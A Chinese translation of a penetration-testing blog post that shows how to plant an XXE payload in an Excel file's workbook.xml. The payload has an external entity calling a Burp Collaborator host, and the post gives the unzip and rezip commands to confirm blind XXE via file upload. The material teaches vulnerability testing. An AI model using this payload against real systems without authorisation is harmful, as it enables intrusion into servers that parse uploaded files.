标题:Exploiting XXE with Excel
作者:Marc Wickenden
原文地址:https://www.4armed.com/blog/exploiting-xxe-with-excel/
XML外部实体攻击非常常见,特别是通过基于HTTP的API,我们经常遇到并利用它们,通常能够获得对客户环境的非常高特权访问。
较不常见的是使用Excel进行这种利用。
这是什么魔法?
实际上,并没有那么神秘。一个现代的Excel文件,与所有自Office 2007以后的文件格式一样,实际上只是一个XML文档的压缩文件。这被称为Office开放式XML格式或OOXML。
也许你可以猜到接下来会发生什么?
许多应用程序都允许上传文件。有些会处理这些文件内部的数据,并采取相应的操作,这几乎肯定需要解析XML。如果解析器没有安全配置,那么XXE几乎是不可避免的。
在这篇文章中,我重点关注Excel,因为处理Excel文件比处理Word文档或PowerPoint更常见。这篇文章中的任何内容也可能适用于那些应用程序。
入门指南
假设我们有一个目标应用程序,可以接受Excel文件上传和处理,我们可以开始探测XXE漏洞。相同的攻击payload可能会生效,我们只需将它们放入Excel文件中。
创建一个新的空白Excel文件。如果你想的话,你可以在一些单元格中输入一些内容,但这并不是必要的。没有安装Excel?你可以使用Google表格,然后下载为xlsx格式。
创建一个目录,将Excel文件解压缩到其中。是的,没错...
$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx # obviously use whatever your xlsx file is here
Archive: ../XXE.xlsx
inflating: xl/drawings/drawing1.xml
inflating: xl/worksheets/sheet1.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/sharedStrings.xml
inflating: xl/styles.xml
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: _rels/.rels
inflating: [Content_Types].xml
攻击不同的应用程序可能使用的文件会有一些变化,这很大程度上取决于所使用的解析库。xl/workbook.xml提供了工作簿内容的概览,通常是大多数解析的起点,因为它包含工作表及其名称的列表。单独的工作表位于xl/worksheets目录下,通常内容会以xl/sharedStrings.xml的形式出现。
根据我的实践经验,大多数应用程序似乎会将xl/workbook.xml引入其XML解析器以获取工作表列表,然后分别读取每个工作表以获取单元格内容。到目前为止,我还没有发现任何在单元格本身中存在漏洞的应用程序,但你的情况可能会有所不同。
基于这种方法,根据我的经验,通常最好首先尝试修改xl/workbook.xml,这就是我在本文中将要演示的内容。只需简单地在该文件中添加XXE攻击payload,将内容重新打包成Excel文件,然后上传到应用程序中。
使用Burp Collaborator进行盲XXE测试
在我们的演示应用程序中,没有一种方式可以将数据输出到HTTP响应中,因此所有的XXE发现和利用都将是盲目的。我喜欢使用Burp Collaborator进行初步测试,因为出站HTTP请求被阻止,但DNS查询很可能被允许。使用Collaborator,我们可以看到交互并确认漏洞,即使我们可能不能轻松地利用它。
打开Burp Suite Professional,点击Burp菜单,选择“Burp Collaborator客户端”以打开它。
点击“复制到剪贴板”。在我的情况下,值是gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net。现在我们将把这个值插入到我们的XML中。
打开xl/workbook.xml,并将以下内容插入到第2行和第3行。确保粘贴您从Burp中复制的值,而不是下面显示的值。:-)
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>
你的xl/workbook.xml现在应该看起来类似这样。
现在将它压缩起来,以创建新的Excel文件。
$ zip -r ../poc.xslx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)
现在将这个poc.xlsx文件上传到你的应用程序中。在这种情况下,我们有一个简单的ReactJS演示应用程序,允许我们拖拽文件进行上传。你的应用程序可能会有所不同。
现在检查你的Burp Collaborator客户端,看看是否有任何反馈。
成功了,我们确认了XXE漏洞。
总结
利用Excel进行XML外部实体攻击相对直接,一旦发现漏洞,通常你使用的任何技巧都可以像标准的HTTP请求一样有效。
每周一9点发布精选内容。
每周三9点发布翻译内容。
更多安全资讯,请关注微信公众号:安全虫。
每周坚持学习与分享,觉得文章对你有帮助可在底部给点个“在看”。
原文始发于微信公众号(安全虫):【翻译】Excel上的XXE漏洞入门指南(024)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论